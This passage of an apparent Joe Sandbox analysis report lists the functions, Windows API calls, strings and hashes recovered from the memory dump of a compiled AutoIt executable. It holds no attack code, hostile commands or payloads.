GetOpenFileNameW.COMDLG32(?), ref: 00AA2C8C

Part of subcall function 00A63AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00A63A97,?,?,00A62E7F,?,?,?,00000000), ref: 00A63AC2

Part of subcall function 00A62DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00A62DC4

Strings

X, xrefs: 00AA2C5A

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X
API String ID: 779396738-3081909835
Opcode ID: ae408379b0e6056e05b5697a10fa8e0489a614c723a7827a22b05f6d2a0a872c
Instruction ID: 844161401ef214e17979a7ff7faedfeb31c0ecb40bea06ba1ed29a80c27c84eb
Opcode Fuzzy Hash: ae408379b0e6056e05b5697a10fa8e0489a614c723a7827a22b05f6d2a0a872c
Instruction Fuzzy Hash: 8E21A571A00298AFDF01EF94D945BEE7BFCAF49314F008059E405A7281DBB45A898F61

Function 00A63837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 00A63908

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 24ac3b3b0c1ac73a526ed2059e12a9de6a9ec6e2b237ed1c8412fe000de7379f
Instruction ID: 230c8338ded9af4f42e318b4f2d24ee6d769aa4a47f1f81f2c2646950bcc6e90
Opcode Fuzzy Hash: 24ac3b3b0c1ac73a526ed2059e12a9de6a9ec6e2b237ed1c8412fe000de7379f
Instruction Fuzzy Hash: AC31C3725043009FDB20DF68D9847EBBBF8FB49708F10092EF59A87240E771AA44CB52

Function 00A7F645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00A7F661

Part of subcall function 00A6D730: GetInputState.USER32 ref: 00A6D807

Sleep.KERNEL32(00000000), ref: 00ABF2DE

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: 609ff21c247913e81673e78c4063b8d3c6f1c49f91cf5c90e7bf22d79dc33335
Instruction ID: 512485403d713da4b409bc2272a510b519a1468cb019ec7cb68d15e911d37a7b
Opcode Fuzzy Hash: 609ff21c247913e81673e78c4063b8d3c6f1c49f91cf5c90e7bf22d79dc33335
Instruction Fuzzy Hash: 3DF08C312402059FD310EFAADA49BAAB7F8EF45761F004029E85AC7361EB70A840CBA1

Function 00A6B710 Relevance: 2.1, APIs: 1, Instructions: 587COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00A6BB4E

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: 7c5ede94d091e8265d9fb844038f94a6e205015a07531927d6f07fdab0171f57
Instruction ID: fb6f07bfbf1c74c3f8a158a001321b45d23298056e32329ac02387677dc42727
Opcode Fuzzy Hash: 7c5ede94d091e8265d9fb844038f94a6e205015a07531927d6f07fdab0171f57
Instruction Fuzzy Hash: A332BC35A00209EFDB24CF58C994EBEB7F9EF44310F258059E905AB262D774ED81CBA1

Function 00A64ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A64E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00A64EDD,?,00B31418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00A64E9C
Part of subcall function 00A64E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00A64EAE
Part of subcall function 00A64E90: FreeLibrary.KERNEL32(00000000,?,?,00A64EDD,?,00B31418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00A64EC0

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00B31418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00A64EFD

Part of subcall function 00A64E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00AA3CDE,?,00B31418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00A64E62
Part of subcall function 00A64E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00A64E74
Part of subcall function 00A64E59: FreeLibrary.KERNEL32(00000000,?,?,00AA3CDE,?,00B31418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00A64E87

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: ba6f325466851fe759dc177e1d4f6df7e4b6bb7300c3ee9c8555776311e24783
Instruction ID: 7a72d0877b2b40838a2afdb2d5ccedbf4f4528454830caddc99b34d31e571900
Opcode Fuzzy Hash: ba6f325466851fe759dc177e1d4f6df7e4b6bb7300c3ee9c8555776311e24783
Instruction Fuzzy Hash: 7C11C132600205AACF19FFA0DE02BAD77B5AF48B10F20842AF542A61C1EE719A059790

Function 00A98402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00A98440

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 0f2f7502fd105f1ef4511b671e165d29417c38bdb83ff1411aab9e699ed646d1
Instruction ID: 9854cf5e5ddc31859e510b3dd0b322a557903a0e9802789fe7923ab843b0728e
Opcode Fuzzy Hash: 0f2f7502fd105f1ef4511b671e165d29417c38bdb83ff1411aab9e699ed646d1
Instruction Fuzzy Hash: 68111875A0410AAFCF05DF58E94199F7BF5EF49314F104069F808AB312DB31DA11CBA5

Function 00A8E602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: e3e47c8d38f33b2c10e512962fac5f14c57b8a01d6f29e9dc1e43deb94b4094d
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: 9AF02832611A14EADB317B798E05B5A37D89F52330F140735F424931E2EB74D80287A5

Function 00A93820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00B31444,?,00A7FDF5,?,?,00A6A976,00000010,00B31440,00A613FC,?,00A613C6,?,00A61129), ref: 00A93852

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 30f230cdccce149d3797b423df3b75487228658d12fbb3b6450e67e29a7a8657
Instruction ID: 83667e8243840168bad00af0c5747b4923d2fb0fdb7921a32d5336129902d5e9
Opcode Fuzzy Hash: 30f230cdccce149d3797b423df3b75487228658d12fbb3b6450e67e29a7a8657
Instruction Fuzzy Hash: D2E0E53730222566DF213BBB9D04BDA36FDAF427B0F158161BC0592880DB20DD0192E0

Function 00A64F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00B31418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00A64F6D

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 9e67088e6e2ac1558a13387307e78b42da1a2eb6bbeb123f14e62280a9200b3a
Instruction ID: b9b22990f1f138102a19f365280c8295c1d2b349f228e4f8dda3f5a1f34872d1
Opcode Fuzzy Hash: 9e67088e6e2ac1558a13387307e78b42da1a2eb6bbeb123f14e62280a9200b3a
Instruction Fuzzy Hash: D4F06571105751CFDB389F64D590822B7F5FF187293108A7EE2DA83511C7319844DF10

Function 00A630F2 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000002,?), ref: 00A6314E

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: de0853dafa6a30aab9395f22764347f776e0a17e58943c8f16f9c2e1e68d0de9
Instruction ID: c333593eb573378cafbbca9f5ba30ac63e81baed6c21a298eef9d8799df1f168
Opcode Fuzzy Hash: de0853dafa6a30aab9395f22764347f776e0a17e58943c8f16f9c2e1e68d0de9
Instruction Fuzzy Hash: D6F0A770900308AFEB52DB64DC497D97BFCA701708F1000E5A24897181DB705788CF45

Function 00A62DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00A62DC4

Part of subcall function 00A66B57: _wcslen.LIBCMT ref: 00A66B6A

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: d1f7c19cd88cf9a73f731ca28da454a79847dab904de9a803d22e4ac8832cb34
Instruction ID: 0da6483f700aed7279d82d3d203b83163c7d1cf8388d017854393c2e188e990a
Opcode Fuzzy Hash: d1f7c19cd88cf9a73f731ca28da454a79847dab904de9a803d22e4ac8832cb34
Instruction Fuzzy Hash: 22E0CD766001246BC710E6989D05FEA77EDDFC87A0F044075FD09D7248DA60AD80C550

Function 00A62B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00A63837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00A63908

Part of subcall function 00A6D730: GetInputState.USER32 ref: 00A6D807

SetCurrentDirectoryW.KERNEL32(?), ref: 00A62B6B

Part of subcall function 00A630F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 00A6314E

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: 0eda54107faf5aa6b2d706f4f99d3f42614c02a199ffd39f6601211381ca21b6
Instruction ID: ea6e8a2ccaa7b099e2b70dc7e91244244a733df0724fbb049cd9ee71ab575f00
Opcode Fuzzy Hash: 0eda54107faf5aa6b2d706f4f99d3f42614c02a199ffd39f6601211381ca21b6
Instruction Fuzzy Hash: E1E0862370424446CA08BBB5AA525BDF77DDBD1351F40197EF542472A2CE24454A8752

Function 00AA039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00AA0704,?,?,00000000,?,00AA0704,00000000,0000000C), ref: 00AA03B7

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e2510d6aad34120af45f6ffd873e26614fbe0ec0ae5cd19f764c32793acaa9b0
Instruction ID: 8970399b88a83cd1dfbfed21cd7d900b9f75f57846c2e469ae6846090164f749
Opcode Fuzzy Hash: e2510d6aad34120af45f6ffd873e26614fbe0ec0ae5cd19f764c32793acaa9b0
Instruction Fuzzy Hash: 57D06C3204010DBBDF028F85DD06EDA3BAAFB48714F014100BE1856020C732E832EB94

Function 00A61CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 00A61CBC

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: b3e4529c24abfa4e1f279954add9d9da9af00378cb56d8658f343b1b33df9be7
Instruction ID: ce4841248f3b7b0d8ced3a5fd94177afc0ff67ec4bd86f9af130b36dcda57d73
Opcode Fuzzy Hash: b3e4529c24abfa4e1f279954add9d9da9af00378cb56d8658f343b1b33df9be7
Instruction Fuzzy Hash: ECC092362C0308AFF3148BC4BD4BF287768A358B11F248401F609AB5E3CBA22824EA54

Non-executed Functions

Function 00AF9576 Relevance: 72.4, APIs: 39, Strings: 2, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00A79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00A79BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00AF961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00AF965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00AF969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00AF96C9
SendMessageW.USER32 ref: 00AF96F2
GetKeyState.USER32(00000011), ref: 00AF978B
GetKeyState.USER32(00000009), ref: 00AF9798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00AF97AE
GetKeyState.USER32(00000010), ref: 00AF97B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00AF97E9
SendMessageW.USER32 ref: 00AF9810
SendMessageW.USER32(?,00001030,?,00AF7E95), ref: 00AF9918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00AF992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00AF9941
SetCapture.USER32(?), ref: 00AF994A
ClientToScreen.USER32(?,?), ref: 00AF99AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00AF99BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00AF99D6
ReleaseCapture.USER32 ref: 00AF99E1
GetCursorPos.USER32(?), ref: 00AF9A19
ScreenToClient.USER32(?,?), ref: 00AF9A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 00AF9A80
SendMessageW.USER32 ref: 00AF9AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00AF9AEB
SendMessageW.USER32 ref: 00AF9B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00AF9B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00AF9B4A
GetCursorPos.USER32(?), ref: 00AF9B68
ScreenToClient.USER32(?,?), ref: 00AF9B75
GetParent.USER32(?), ref: 00AF9B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 00AF9BFA
SendMessageW.USER32 ref: 00AF9C2B
ClientToScreen.USER32(?,?), ref: 00AF9C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00AF9CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00AF9CDE
SendMessageW.USER32 ref: 00AF9D01
ClientToScreen.USER32(?,?), ref: 00AF9D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00AF9D82

Part of subcall function 00A79944: GetWindowLongW.USER32(?,000000EB), ref: 00A79952

GetWindowLongW.USER32(?,000000F0), ref: 00AF9E05

Strings

F, xrefs: 00AF9D07
@GUI_DRAGID, xrefs: 00AF997D

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F
API String ID: 3429851547-4164748364
Opcode ID: 39bc5ce1f2c769ddc204a77e275c331bca755b384a07763c4c609dcae4393824
Instruction ID: a3443fe4d4dcd9717c69bd5feecd39608714b22d67c73c2fed432a2548aafa21
Opcode Fuzzy Hash: 39bc5ce1f2c769ddc204a77e275c331bca755b384a07763c4c609dcae4393824
Instruction Fuzzy Hash: 71427B34208209AFD724DFA8CD44BBBBBE9FF48720F144A19F699C72A1D731A855CB51

Function 00A7F98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 00A7F998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00ABF474
IsIconic.USER32(00000000), ref: 00ABF47D
ShowWindow.USER32(00000000,00000009), ref: 00ABF48A
SetForegroundWindow.USER32(00000000), ref: 00ABF494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00ABF4AA
GetCurrentThreadId.KERNEL32 ref: 00ABF4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00ABF4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 00ABF4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 00ABF4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 00ABF4DE
SetForegroundWindow.USER32(00000000), ref: 00ABF4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 00ABF4F6
keybd_event.USER32(00000012,00000000), ref: 00ABF501
MapVirtualKeyW.USER32(00000012,00000000), ref: 00ABF50B
keybd_event.USER32(00000012,00000000), ref: 00ABF510
MapVirtualKeyW.USER32(00000012,00000000), ref: 00ABF519
keybd_event.USER32(00000012,00000000), ref: 00ABF51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 00ABF528
keybd_event.USER32(00000012,00000000), ref: 00ABF52D
SetForegroundWindow.USER32(00000000), ref: 00ABF530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 00ABF557

Strings

Shell_TrayWnd, xrefs: 00ABF46F

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 9c1f12f6996d5ddbb1274a8d64dd58684c4b9c4b52445cea6172f64b1227be0a
Instruction ID: 833fc57ae147926d2bbea2fa07a2e04525b543c33e896061f5a7f8394f542d31
Opcode Fuzzy Hash: 9c1f12f6996d5ddbb1274a8d64dd58684c4b9c4b52445cea6172f64b1227be0a
Instruction Fuzzy Hash: 57314171A8021CBFEB20ABF65D4AFBF7E6CEB44B60F140065FA05E61D1C6B15D01EA60

Function 00AC1201 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 00AC16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00AC170D
Part of subcall function 00AC16C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00AC173A
Part of subcall function 00AC16C3: GetLastError.KERNEL32 ref: 00AC174A

